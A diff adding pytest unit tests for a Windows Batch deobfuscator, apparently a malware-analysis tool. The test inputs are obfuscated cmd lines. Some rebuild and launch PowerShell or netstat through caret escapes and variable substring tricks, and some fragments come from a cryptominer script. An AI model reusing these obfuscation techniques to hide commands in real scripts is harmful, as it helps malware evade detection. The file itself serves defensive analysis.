+                "s^et g^c^=^er^s&&s^e^t ^tf=^he^ll&&set^ f^a^=^pow&&^s^et^ dq^=C:\\WINDOWS\\System32\\W^i^n^do^ws^!fa^!^!g^c^!!^t^f^!\\^v^1^.0\\^!^fa!^!^gc!!^tf^!&&^ech^o^ hos^tname^;^ ^ | !dq! -^no^p^ ^-",
+                [
+                    "set gc=ers",
+                    "set tf=hell",
+                    "set fa=pow",
+                    "set dq=C:\\WINDOWS\\System32\\Windowspowershell\\v1.0\\powershell",
+                    "echo hostname; ^",
+                    "C:\\WINDOWS\\System32\\Windowspowershell\\v1.0\\powershell -nop -",
+                ],
+            )
+        ],
+    )
+    def test_echo_pipe(logical_line, result):
+        # Could not reproduce exactly what the example is on page 22, but trying something similar.
+        # The special characters && needs not to be preceeded by ^, or cut by ^.
+        # The special character | needs not to be preceeded or followed by ^
+        deobfuscator = BatchDeobfuscator()
+        commands = deobfuscator.get_commands(logical_line)
+        res = []
+        for command in commands:
+            normalized_comm = deobfuscator.normalize_command(command)
+            deobfuscator.interpret_command(normalized_comm)
+            res.append(normalized_comm)
+
+        assert len(res) == len(result)
+        for test_res, expected_res in zip(res, result):
+            assert test_res == expected_res
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "logical_line, result",
+        [
+            ("set com=netstat /ano&&call %com%", ["set com=netstat /ano", "call netstat /ano"]),
+            ("set com=netstat /ano&&cmd /c %com%", ["set com=netstat /ano", "cmd /c netstat /ano"]),
+            # Disabled because we are currently returning an empty string on non-found variable, which breaks the
+            # declaration of !!#**#!! in this case. We'd need to track EnableDelayedExpansion to make it better too.
+            # (
+            #     "set --$#$--= /ano&&set !!#**#!!=stat&&set .........=net&&call set ''''''''' ''''''=%.........%%!!#**#!!%%--$#$--% &&call %''''''''' ''''''%",
+            #     [
+            #         "set --$#$--= /ano",
+            #         "set !!#**#!!=stat",
+            #         "set .........=net",
+            #         "call set ''''''''' ''''''=netstat /ano",
+            #         "call netstat /ano",
+            #     ],
+            # ),
+            (
+                "set '		= /ano&&set '	=stat&& set '	 =net&&call set '   =%'	 %%'	%%'		%&&call %'   %",
+                ["set '		= /ano", "set '	=stat", "set '	 =net", "call set '   =netstat /ano", "call netstat /ano"],
+            ),
+            (
+                "set command=neZsZ7Z /7no&&set sub2=!command:7=a!&&set sub1=!sub2:Z=t!&&CALL %sub1%",
+                ["set command=neZsZ7Z /7no", "set sub2=neZsZaZ /ano", "set sub1=netstat /ano", "CALL netstat /ano"],
+            ),
+        ],
+    )
+    def test_call_var(logical_line, result):
+        deobfuscator = BatchDeobfuscator()
+        commands = deobfuscator.get_commands(logical_line)
+        res = []
+        for command in commands:
+            normalized_comm = deobfuscator.normalize_command(command)
+            deobfuscator.interpret_command(normalized_comm)
+            res.append(normalized_comm)
+
+        assert len(res) == len(result)
+        for test_res, expected_res in zip(res, result):
+            assert test_res == expected_res
+
+    @staticmethod
+    def test_empty_var():
+        # Taken from https://i.blackhat.com/briefings/asia/2018/asia-18-bohannon-invoke_dosfuscation_techniques_for_fin_style_dos_level_cmd_obfuscation.pdf page 48
+        # This is one of those weird use-case where EnableDelayedExpansion does a bit difference.
+        # With EnableDelayedExpansion ON, we lose the ! at the end
+        # With EnableDelayedExpansion OFF, we keep the ! at the end
+        deobfuscator = BatchDeobfuscator()
+        logical_line = 'ec%a%ho "Fi%b%nd Ev%c%il!"'
+        expected = 'echo "Find Evil"'
+        normalized_comm = deobfuscator.normalize_command(logical_line)
+        assert expected == normalized_comm
+
+    @staticmethod
+    @pytest.mark.skip()
+    @pytest.mark.parametrize(
+        "logical_line",
+        [
+            ("""FOR /F "delims=s\\ tokens=4" %%a IN ('set^|findstr PSM') DO %%a hostname"""),
+            ("""FOR /F "delims=.M tokens=3" %%a IN ('assoc^|findstr lMo') DO %%a hostname"""),
+            ("""FOR /F "delims=s\\ tokens=8" %%a IN ('ftype^|findstr lCo') DO %%a hostname"""),
+        ],
+    )
+    def test_FOR_execution(logical_line):
+        """
+        This resolves to starting powershell and calling hostname:
+        FOR /F "delims=s\\ tokens=4" %%a IN ('set^|findstr PSM') DO %%a hostname
+
+        You can also get string manipulation out of the "assoc" or "ftype" command to build out the word "powershell"
+        """
+
+    @staticmethod
+    @pytest.mark.skip()
+    @pytest.mark.parametrize(
+        "logical_line",
+        [
+            (
+                "set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL !final:~-12!"
+            ),
+            (
+                "set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL !final:~7!"
+            ),
+            (
+                "set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:*final!=%"
+            ),
+            (
+                "((sE^T ^ unIQ^uE=OnBeFt^UsS C/AaToE ))&&,; fo^R;,;%^a,;; i^N;,,;( ,+1; 3 5 7 +5 1^3 +5,,9 11 +1^3 +1;;+15 ^+13^37;,),;,;d^O,,(;(;s^Et fI^Nal=!finAl!!uni^Que:~ %^a,1!))&&(;i^F,%^a=^=+13^37,(Ca^lL;%fIn^Al:~-12%))"
+            ),
+        ],
+    )
+    def test_call_var_for(logical_line):
+        """
+        set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:~-12%
+        set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:~7%
+        set unique=nets /ao&&FOR %A IN (0 1 2 3 2 6 2 4 5 6 0 7 1337) DO set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:*final!=%%
+        ,;c^Md;/^V^:O^N;,;/^C “((sE^T ^ unIQ^uE=OnBeFt^UsS C/AaToE ))&&,; fo^R;,;%^a,;; i^N;,,;( ,+1; 3 5 7 +5 1^3 +5,,9 11 +1^3 +1;;+15 ^+13^37;,),;,;d^O,,(;(;s^Et fI^Nal=!finAl!!uni^Que:~ %^a,1!))&&(;i^F,%^a=^=+13^37,(Ca^lL;%fIn^Al:~-12%))”
+        """
+
+    @staticmethod
+    @pytest.mark.skip()
+    def test_set_reverse():
+        """
+        cmd /V:ON /C “set reverse=ona/ tatsten&& FOR /L %A IN (11 -1 0) DO set final=!final!!reverse:~%A,1!&&IF %A==0 CALL %final:~-12%”
+
+        cmd /v /r "set reverse=OoBnFaU/S CtAaTtIsOtNe!n&&FOR /L %A IN (23 -2 1) DO set final=!final!!reverse:~%A,1!&&IF %A==1 CALL %final:~-12%"
+
+        ,;c^Md;/^V^:O^N;,;/C “((sE^T reVEr^sE=OoBnFaU/S CtAa^TtIsOtNe!n))&&,; fo^R;,;/L,;,%^a,;; i^N;,,;( ,+23; -2;;+1;,) ,;,;d^O,,(;(;s^Et fI^Nal=!finAl!!rev^Erse:~%^a,1!))&& (;i^F,%^a=^=^1,(Ca^lL;%fIn^Al:~-12%))”
+        """

tests/test_unittests.py

@@ -0,0 +1,609 @@
+import pytest
+
+from batch_deobfuscator.batch_interpreter import BatchDeobfuscator
+
+
+class TestUnittests:
+    @staticmethod
+    def test_simple_set():
+        deobfuscator = BatchDeobfuscator()
+        deobfuscator.interpret_command("set WALLET=43DTEF92be6XcPj5Z7U")
+        res = deobfuscator.normalize_command("echo %WALLET%")
+        assert res == "echo 43DTEF92be6XcPj5Z7U"
+
+    @staticmethod
+    def test_variable_in_for():
+        deobfuscator = BatchDeobfuscator()
+        deobfuscator.interpret_command("set WALLET=43DTEF92be6XcPj5Z7U")
+        cmd = 'for /f "delims=." %%a in ("%WALLET%") do set WALLET_BASE=%%a'
+        res = deobfuscator.normalize_command(cmd)
+        assert res == 'for /f "delims=." %%a in ("43DTEF92be6XcPj5Z7U") do set WALLET_BASE=%%a'
+
+    @staticmethod
+    def test_unset_variable():
+        deobfuscator = BatchDeobfuscator()
+        cmd = "echo ERROR: Wrong wallet address length (should be 106 or 95): %WALLET_BASE_LEN%"
+        res = deobfuscator.normalize_command(cmd)
+        assert res == "echo ERROR: Wrong wallet address length (should be 106 or 95): "
+
+    @staticmethod
+    def test_caret_pipe():
+        deobfuscator = BatchDeobfuscator()
+        cmd1 = 'echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL\n'
+        cmd2 = [x for x in deobfuscator.get_commands(cmd1)]
+        assert cmd2 == ['echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL']
+        cmd3 = deobfuscator.normalize_command(cmd2[0])
+        assert cmd3 == 'echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL'
+        cmd4 = [x for x in deobfuscator.get_commands(cmd3)]
+        assert cmd4 == ['echo tasklist /fi "imagename eq jin.exe" ^| find ":" ^>NUL']
+
+    @staticmethod
+    def test_simple_set_a():
+        deobfuscator = BatchDeobfuscator()
+        res = deobfuscator.normalize_command("echo %NUMBER_OF_PROCESSORS%")
+        assert res == "echo 4"
+
+        cmd = 'set /a "EXP_MONERO_HASHRATE = %NUMBER_OF_PROCESSORS% * 700 / 1000"'
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+        cmd3 = deobfuscator.normalize_command("echo %EXP_MONERO_HASHRATE%")
+        assert cmd3 == "echo (4 * 700 / 1000)"
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "var, echo, result",
+        [
+            # Simple
+            # No space
+            ("set EXP=43", "echo *%EXP%*", "echo *43*"),
+            ("set EXP=43", "echo *%EXP %*", "echo **"),
+            ("set EXP=43", "echo *% EXP%*", "echo **"),
+            ("set EXP=43", "echo *% EXP %*", "echo **"),
+            # Space after var
+            ("set EXP =43", "echo *%EXP%*", "echo **"),
+            ("set EXP =43", "echo *%EXP %*", "echo *43*"),
+            ("set EXP =43", "echo *% EXP%*", "echo **"),
+            ("set EXP =43", "echo *% EXP %*", "echo **"),
+            # Space after equal
+            ("set EXP= 43", "echo *%EXP%*", "echo * 43*"),
+            ("set EXP= 43", "echo *%EXP %*", "echo **"),
+            ("set EXP= 43", "echo *% EXP%*", "echo **"),
+            ("set EXP= 43", "echo *% EXP %*", "echo **"),
+            # Space after value
+            ("set EXP=43 ", "echo *%EXP%*", "echo *43 *"),
+            ("set EXP=43 ", "echo *%EXP %*", "echo **"),
+            ("set EXP=43 ", "echo *% EXP%*", "echo **"),
+            ("set EXP=43 ", "echo *% EXP %*", "echo **"),
+            # Space after var and after equal
+            ("set EXP = 43", "echo *%EXP%*", "echo **"),
+            ("set EXP = 43", "echo *%EXP %*", "echo * 43*"),
+            ("set EXP = 43", "echo *% EXP%*", "echo **"),
+            ("set EXP = 43", "echo *% EXP %*", "echo **"),
+            # Double quote
+            # Single quote for both var and value
+            ("set \"'EXP=43'\"", "echo *%EXP%*", "echo **"),
+            ("set \"'EXP=43'\"", "echo *%EXP %*", "echo **"),
+            ("set \"'EXP=43'\"", "echo *% EXP%*", "echo **"),
+            ("set \"'EXP=43'\"", "echo *% EXP %*", "echo **"),
+            ("set \"'EXP=43'\"", "echo *%'EXP%*", "echo *43'*"),
+            # Space after var
+            ('set "EXP =43"', "echo *%EXP%*", "echo **"),
+            ('set "EXP =43"', "echo *%EXP %*", "echo *43*"),
+            ('set "EXP =43"', "echo *% EXP%*", "echo **"),
+            ('set "EXP =43"', "echo *% EXP %*", "echo **"),
+            # Space after equal
+            ('set "EXP= 43"', "echo *%EXP%*", "echo * 43*"),
+            ('set "EXP= 43"', "echo *%EXP %*", "echo **"),
+            ('set "EXP= 43"', "echo *% EXP%*", "echo **"),
+            ('set "EXP= 43"', "echo *% EXP %*", "echo **"),
+            # Space after var and after equal
+            ('set "EXP = 43"', "echo *%EXP%*", "echo **"),
+            ('set "EXP = 43"', "echo *%EXP %*", "echo * 43*"),
+            ('set "EXP = 43"', "echo *% EXP%*", "echo **"),
+            ('set "EXP = 43"', "echo *% EXP %*", "echo **"),
+            # Space before var, after var, after equal and after value
+            ('set " EXP = 43 "', "echo *%EXP%*", "echo **"),
+            ('set " EXP = 43 "', "echo *%EXP %*", "echo * 43 *"),
+            ('set " EXP = 43 "', "echo *% EXP%*", "echo **"),
+            ('set " EXP = 43 "', "echo *% EXP %*", "echo **"),
+            # Single quote
+            ("set \"EXP='43'\"", "echo *%EXP%*", "echo *'43'*"),
+            ("set \"EXP=' 43'\"", "echo *%EXP%*", "echo *' 43'*"),
+            ("set \"EXP =' 43'\"", "echo *%EXP %*", "echo *' 43'*"),
+            ("set \"EXP = ' 43'\"", "echo *%EXP %*", "echo * ' 43'*"),
+            ("set 'EXP=\"43\"'", "echo *%'EXP%*", 'echo *"43"\'*'),
+            ("set \" EXP '=43 ' \" ", "echo *%EXP '%*", "echo *43 ' *"),
+            # Double quote as value
+            ('set EXP =43^"', "echo *%EXP %*", 'echo *43"*'),
+            ('set EXP =43^"3', "echo *%EXP %*", 'echo *43"3*'),
+            ('set "EXP=43^""', "echo *%EXP%*", 'echo *43"*'),
+            ('set "EXP=43^"3"', "echo *%EXP%*", 'echo *43"3*'),
+            ('set EXP=43^"^|', "echo *%EXP%*", 'echo *43"|*'),
+            # Getting into really weird stuff
+            ("set EXP=4=3", "echo *%EXP%*", "echo *4=3*"),
+            ('set ""EXP=43"', 'echo *%"EXP%*', "echo *43*"),
+            ('set ""EXP=4"3', 'echo *%"EXP%*', "echo *4*"),
+            ('set """EXP=43"', "echo *%EXP%*", "echo **"),
+            ('set """EXP=43"', 'echo *%""EXP%*', "echo *43*"),
+            ('set "E^XP=43"', "echo *%EXP%*", "echo *43*"),
+            ('set " ^"EXP=43"', 'echo *%^"EXP%*', "echo *43*"),
+            ('set ^"EXP=43', "echo *%EXP%*", "echo *43*"),
+            ('set E^"XP=43', 'echo *%E"XP%*', "echo *43*"),
+            ('set E"XP=4"3', 'echo *%E"XP%*', 'echo *4"3*'),
+            ('set E"XP=4^""3', 'echo *%E"XP%*', 'echo *4""3*'),
+            ('set EXP^"=43', 'echo *%EXP"%*', "echo *43*"),
+            ("set EXP=43^^", "echo *%EXP%*", "echo *43*"),
+            ("set EXP=4^^3", "echo *%EXP%*", "echo *43*"),
+            ("set EXP=43^^ ", "echo *%EXP%*", "echo *43 *"),
+            ("set E^^XP=43", "echo *%E^XP%*", "echo *43*"),
+            ('set ^"E^^XP=43"', "echo *%E^XP%*", "echo *43*"),
+            ('set ^"E^^XP=43^"', "echo *%E^XP%*", "echo *43*"),
+            ('set ^"E^^XP=43', "echo *%E^XP%*", "echo *43*"),
+            ('set "E^^XP=43"', "echo *%E^^XP%*", "echo *43*"),
+            ('set "E^^XP=43', "echo *%E^^XP%*", "echo *43*"),
+            ('set E^"XP=4^"3', 'echo *%E"XP%*', 'echo *4"3*'),
+            ('set ^"EXP=4^"3', "echo *%EXP%*", "echo *4*"),
+            ('set ^"EXP= 4^"3', "echo *%EXP%*", "echo * 4*"),
+            ('set ^"E^"XP=43"', 'echo *%E"XP%*', "echo *43*"),
+            ('set ^"E^"XP=4^"3', 'echo *%E"XP%*', "echo *4*"),
+            ('set ^"E"XP=4^"3"', 'echo *%E"XP%*', 'echo *4"3*'),
+            ('set ^"E"XP=4^"3""', 'echo *%E"XP%*', 'echo *4"3"*'),
+            ('set "E"XP=4^"3""', 'echo *%E"XP%*', 'echo *4"3"*'),
+            ('set ^"E""XP=4^"3', 'echo *%E""XP%*', "echo *4*"),
+            ('set "E^"XP=43"', 'echo *%E^"XP%*', "echo *43*"),
+            ('set "E^"X"P=43"', 'echo *%E^"X"P%*', "echo *43*"),
+            ('set E"E^"XP=43"', 'echo *%E"E^"XP%*', 'echo *43"*'),
+            ('set E"E^"XP=43', 'echo *%E"E^"XP%*', "echo *43*"),
+            ('set E^"E"X"P=43"', 'echo *%E"E"X"P%*', 'echo *43"*'),
+            ('set E"E^"X"P=43"', 'echo *%E"E^"X"P%*', 'echo *43"*'),
+            ("set ^|EXP=43", "echo *%|EXP%*", "echo *43*"),
+            ("set EXP=43", "echo *%EXP:/=\\%*", "echo *43*"),
+            ("set EXP=43/43", "echo *%EXP:/=\\%*", "echo *43\\43*"),
+            ("set EXP=43", "echo *%EXP:\\=/%*", "echo *43*"),
+            ("set EXP=43\\43", "echo *%EXP:\\=/%*", "echo *43/43*"),
+            # TODO: Really, how should we handle that?
+            # 'set ""EXP=43'
+            # 'set'
+            # 'set E'
+            # 'set EXP'
+            # 'set ^"E^"XP=43'
+            # 'set ^"E""XP=43'
+            #
+            # option a
+            ('set /a "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('set /A "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('SET /A "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('SET /a "EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ("set /a EXP = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('set /a ^"EXP = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('set /a ^"E^"XP = 4 * 700 / 1000^"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ('set /a "EXP^" = 4 * 700 / 1000"', "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ("set /a EX^^P = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ("set /a EX^P = 4 * 700 / 1000", "echo *%EXP%*", "echo *(4 * 700 / 1000)*"),
+            ("set /a EXP = 4 * OTHER", "echo *%EXP%*", "echo *(4 * OTHER)*"),
+            ("set/a EXP = 4 * 2", "echo *%EXP%*", "echo *(4 * 2)*"),
+            ("set/AEXP=43", "echo *%EXP%*", "echo *(43)*"),
+            ("set/AEXP=4 * 3", "echo *%EXP%*", "echo *(4 * 3)*"),
+            # TODO: Really, how should we handle that?
+            # 'set /a "EX|P = 4 * 700 / 1000'
+            # "set /a EX|P = 4 * 700 / 1000"
+            # "set /a EX^|P = 4 * 700 / 1000"
+            #
+            # option p
+            ('set /p "EXP"="What is"', 'echo *%EXP"%*', "echo *__input__*"),
+            ('set /p EXP="What is', "echo *%EXP%*", "echo *__input__*"),
+            ("set /p EXP=What is", "echo *%EXP%*", "echo *__input__*"),
+            ("SET /p EXP=What is", "echo *%EXP%*", "echo *__input__*"),
+            ("SET /P EXP=What is", "echo *%EXP%*", "echo *__input__*"),
+            ("set /P EXP=What is", "echo *%EXP%*", "echo *__input__*"),
+            ('set /p EXP "=What is', 'echo *%EXP "%*', "echo *__input__*"),
+            ('set /p  EXP "=What is', 'echo *%EXP "%*', "echo *__input__*"),
+            ('set /p "EXP =What is', "echo *%EXP %*", "echo *__input__*"),
+            ('set /p "EXP ="What is"', "echo *%EXP %*", "echo *__input__*"),
+            ('set /p E"XP =What is', 'echo *%E"XP %*', "echo *__input__*"),
+            ('set /p E^"XP ="What is"', 'echo *%E"XP %*', "echo *__input__*"),
+            ('set /p "E^"XP ="What is"', 'echo *%E^"XP %*', "echo *__input__*"),
+            ('set /p E^"XP =What is', 'echo *%E"XP %*', "echo *__input__*"),
+            ('set /p "E^|XP =What is', "echo *%E^|XP %*", "echo *__input__*"),
+            ("set /p E^|XP =What is", "echo *%E|XP %*", "echo *__input__*"),
+            ('set /p ^"EXP =What is', "echo *%EXP %*", "echo *__input__*"),
+            ("set /p ^|EXP =What is", "echo *%|EXP %*", "echo *__input__*"),
+            # TODO: Really, how should we handle that?
+            # 'set /p "EXP "=What is'
+            # 'set /p "E^"XP =What is'
+            # What about some weird echo statement now?
+            ("set EXP=43", "echo %EXP%", "echo 43"),
+            ("set EXP=43", "echo !EXP!", "echo 43"),
+            ("set EXP=43", "echo ^%EXP%", "echo 43"),
+            ("set EXP=43", "echo ^!EXP!", "echo 43"),
+            # ("set EXP=43", "echo ^%EX^P%", "echo 43"),  # That's wrong... it actually prints the next line. Ignoring.
+            ("set EXP=43", "echo ^!EX^P!", "echo 43"),
+            # ("set EXP=43", "echo ^%EXP^%", "echo 43"),  # That's wrong... it actually prints the next line. Ignoring.
+            ("set EXP=43", "echo ^!EXP^!", "echo 43"),
+        ],
+    )
+    def test_set_command(var, echo, result):
+        deobfuscator = BatchDeobfuscator()
+        deobfuscator.interpret_command(var)
+        res = deobfuscator.normalize_command(echo)
+        assert res == result
+
+    @staticmethod
+    def test_clear_variable_with_set():
+        # If you specify only a variable and an equal sign (without <string>) for the set command,
+        # the <string> value associated with the variable is cleared (as if the variable is not there).
+        deobfuscator = BatchDeobfuscator()
+        assert "exp" not in deobfuscator.variables
+        res = deobfuscator.normalize_command("echo *%EXP%*")
+        assert res == "echo **"
+        deobfuscator.interpret_command("set EXP=43")
+        assert "exp" in deobfuscator.variables
+        res = deobfuscator.normalize_command("echo *%EXP%*")
+        assert res == "echo *43*"
+        deobfuscator.interpret_command("set EXP= ")
+        assert "exp" in deobfuscator.variables
+        res = deobfuscator.normalize_command("echo *%EXP%*")
+        assert res == "echo * *"
+        deobfuscator.interpret_command("set EXP=")
+        assert "exp" not in deobfuscator.variables
+        res = deobfuscator.normalize_command("echo *%EXP%*")
+        assert res == "echo **"
+
+    @staticmethod
+    @pytest.mark.skip()
+    def test_beautify_strlen_function():
+        # Figure out if it translate somewhat correctly, and how to make it more readable after processing
+        # Taken from 6c46550db4dcb3f5171c69c5f1723362f99ec0f16f6d7ab61b6f8d169a6e6bc8
+        """
+        ":strlen string len"
+        "setlocal EnableDelayedExpansion"
+        'set "token=#%~1" & set "len=0"'
+        "for /L %%A in (12,-1,0) do ("
+        '  set/A "len|=1<<%%A"'
+        '  for %%B in (!len!) do if "!token:~%%B,1!"=="" set/A "len&=~1<<%%A"'
+        ")"
+        """
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "statement, commands",
+        [
+            ('IF "A"=="A" echo AAA', ['IF "A"=="A" (', "echo AAA", ")"]),
+            ('IF "A"=="A" (echo AAA)', ['IF "A"=="A" (', "echo AAA", ")"]),
+            ('IF "A"=="A" (echo AAA) ELSE echo BBB', ['IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"]),
+            (
+                'echo ABC && IF "A"=="A" (echo AAA) ELSE echo BBB',
+                ["echo ABC", 'IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"],
+            ),
+            (
+                'echo ABC && IF "A"=="A" (echo AAA) ELSE (echo BBB)',
+                ["echo ABC", 'IF "A"=="A" (', "echo AAA", ") ELSE (", "echo BBB", ")"],
+            ),
+            (
+                'IF EXIST "%USERPROFILE%\\jin" GOTO REMOVE_DIR1',
+                ['IF EXIST "%USERPROFILE%\\jin" (', "GOTO REMOVE_DIR1", ")"],
+            ),
+            (
+                "IF defined EXP (echo Defined) ELSE (echo Undef)",
+                ["IF defined EXP (", "echo Defined", ") ELSE (", "echo Undef", ")"],
+            ),
+            (
+                "if %EXP% gtr 8192 ( set PORT=18192 & goto PORT_OK )",
+                ["if %EXP% gtr 8192 (", " set PORT=18192", "goto PORT_OK )"],
+            ),
+            ("if %EXP% gtr 8192 (", ["if %EXP% gtr 8192 ("]),
+            (
+                "if %errorLevel% == 0 (set ADMIN=1) else (set ADMIN=0)",
+                ["if %errorLevel% == 0 (", "set ADMIN=1", ") else (", "set ADMIN=0", ")"],
+            ),
+            (
+                'if exist "%USERPROFILE%\\Start Menu\\Programs" (echo AAA)',
+                ['if exist "%USERPROFILE%\\Start Menu\\Programs" (', "echo AAA", ")"],
+            ),
+            (
+                'if exist "%USERPROFILE%\\Start Menu\\Programs" echo AAA',
+                ['if exist "%USERPROFILE%\\Start Menu\\Programs" (', "echo AAA", ")"],
+            ),
+            (
+                "if [%var%]==[value] echo AAA",
+                ["if [%var%]==[value] (", "echo AAA", ")"],
+            ),
+            (
+                'if "%var%"==[value] echo AAA',
+                ['if "%var%"==[value] (', "echo AAA", ")"],
+            ),
+        ],
+    )
+    def test_if_statements(statement, commands):
+        deobfuscator = BatchDeobfuscator()
+        assert [x for x in deobfuscator.get_commands(statement)] == commands
+
+    @staticmethod
+    def test_single_quote_var_name_rewrite_1():
+        deobfuscator = BatchDeobfuscator()
+
+        cmd = "%os:~-4,1%%comspec:~-1,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=^^^1^^^\\^^^)%comspec:~-13,1%u^^^,^^^%pathext:~31,1%b^^^8%commonprogramfiles:~9,1%^^^^^^^/v^^^&^^^U%os:~-9,1%^^^%pathext:~6,1%k%programfiles:~-12,1%p^^^[^^^*^^^@^^^~%programfiles:~-8,1%^^^%pathext:~11,1%q%comspec:~-14,1%^^^%commonprogramfiles:~24,1%^^^R^^^%pathext:~12,1%^^^0f^^^I^^^%comspec:~-9,1%^^^{^^^$%comspec:~-7,1%^^^K%programfiles:~-2,1%^^^7^^^9z%commonprogramfiles:~-11,1%^^^G^^^%os:~9,1%^^^L^^^=^^^(%commonprogramfiles:~-16,1%^^^%commonprogramfiles:~-12,1%h%comspec:~-15,1%^^^6^^^%commonprogramfiles:~10,1%^^^\"^^^Q^^^_^^^%pathext:~2,1%j^^^`%commonprogramfiles:~6,1%^^^Y^^^]^^^+^^^%pathext:~18,1%^^^-^^^%pathext:~26,1%^^^|^^^%comspec:~17,1%^^^%pathext:~7,1%^^^<%commonprogramfiles:~22,1%^^^%pathext:~17,1%^^^;^^^%os:~-10,1%^^^%os:~8,1%^^^%pathext:~41,1%^^^>^^^}^^^#^^^'%os:~-7,1%^^^.^^^5%os:~5,1%^^^4^^^:^^^%programfiles:~3,1%^^^%pathext:~47,1%%comspec:~25,1%^^^?^^^Z"  # noqa: E501
+        cmd2 = deobfuscator.normalize_command(cmd)
+        deobfuscator.interpret_command(cmd2)
+        assert deobfuscator.variables["'"].startswith("^1^\\^)tu^")
+
+        cmd = "%':~43,1%%':~-96,1%%':~6,1%"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        assert cmd2 == "set"
+
+        cmd = "echo AAA%':~-138,1%%':~43,1%%':~-96,1%%':~6,1%%':~89,1%%':~-20,1%%':~-82,1%abbbc%':~-138,1%set mj=kx"
+        cmd2 = deobfuscator.normalize_command(cmd)
+        for cmd in deobfuscator.get_commands(cmd2):
+            cmd2 = deobfuscator.normalize_command(cmd)
+            deobfuscator.interpret_command(cmd2)
+        assert deobfuscator.variables["'"] == "abbbc"
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "cmd, result",
+        [
+            ("echo %0", "echo script.bat"),
+            ("echo %1", "echo "),
+            ("echo %~0", "echo script.bat"),
+            ("echo %~1", "echo "),
+            ("echo %~s0", "echo script.bat"),
+            ("echo %~s1", "echo "),
+            ("echo %~f0", "echo script.bat"),
+            ("echo %~f1", "echo "),
+            ("echo %~d0", "echo script.bat"),
+            ("echo %~d1", "echo "),
+            ("echo %~p0", "echo script.bat"),
+            ("echo %~p1", "echo "),
+            ("echo %~z0", "echo script.bat"),
+            ("echo %~z1", "echo "),
+            ("echo %~a0", "echo script.bat"),
+            ("echo %~a1", "echo "),
+            # ("echo %~xsa0", "echo script.bat"),
+            # ("echo %~xsa1", "echo "),
+            ("echo %3c%3%A", "echo cA"),
+            ("echo %3c%3%A%", "echo c"),
+            ("echo %*", "echo "),
+            ("echo %*a", "echo a"),
+        ],
+    )
+    def test_args(cmd, result):
+        deobfuscator = BatchDeobfuscator()
+
+        res = deobfuscator.normalize_command(cmd)
+        assert res == result
+
+    @staticmethod
+    def test_args_with_var():
+        deobfuscator = BatchDeobfuscator()
+
+        cmd = "set A=123"
+        deobfuscator.interpret_command(cmd)
+
+        cmd = "echo %3c%3%A%"
+        res = deobfuscator.normalize_command(cmd)
+        assert res == "echo c123"
+
+        cmd = "echo %0%A%"
+        res = deobfuscator.normalize_command(cmd)
+        assert res == "echo script.bat123"
+
+    @staticmethod
+    def test_single_quote_var_name_rewrite_2():
+        # Taken from 8d20c8a8104f29e7ec2ff158103fa73d3e9d357b646e2ff0487b880ab6462643
+        deobfuscator = BatchDeobfuscator()
+
+        cmd = "%os:~-4,1%%comspec:~-1,1%%comspec:~14,1%%commonprogramfiles:~-6,1%'=^^^1^^^\\^^^)%comspec:~-13,1%u^^^,^^^%pathext:~31,1%b^^^8%commonprogramfiles:~9,1%^^^^^^^/v^^^&^^^U%os:~-9,1%^^^%pathext:~6,1%k%programfiles:~-12,1%p^^^[^^^*^^^@^^^~%programfiles:~-8,1%^^^%pathext:~11,1%q%comspec:~-14,1%^^^%commonprogramfiles:~24,1%^^^R^^^%pathext:~12,1%^^^0f^^^I^^^%comspec:~-9,1%^^^{^^^$%comspec:~-7,1%^^^K%programfiles:~-2,1%^^^7^^^9z%commonprogramfiles:~-11,1%^^^G^^^%os:~9,1%^^^L^^^=^^^(%commonprogramfiles:~-16,1%^^^%commonprogramfiles:~-12,1%h%comspec:~-15,1%^^^6^^^%commonprogramfiles:~10,1%^^^\"^^^Q^^^_^^^%pathext:~2,1%j^^^`%commonprogramfiles:~6,1%^^^Y^^^]^^^+^^^%pathext:~18,1%^^^-^^^%pathext:~26,1%^^^|^^^%comspec:~17,1%^^^%pathext:~7,1%^^^<%commonprogramfiles:~22,1%^^^%pathext:~17,1%^^^;^^^%os:~-10,1%^^^%os:~8,1%^^^%pathext:~41,1%^^^>^^^}^^^#^^^'%os:~-7,1%^^^.^^^5%os:~5,1%^^^4^^^:^^^%programfiles:~3,1%^^^%pathext:~47,1%%comspec:~25,1%^^^?^^^Z"  # noqa: E501
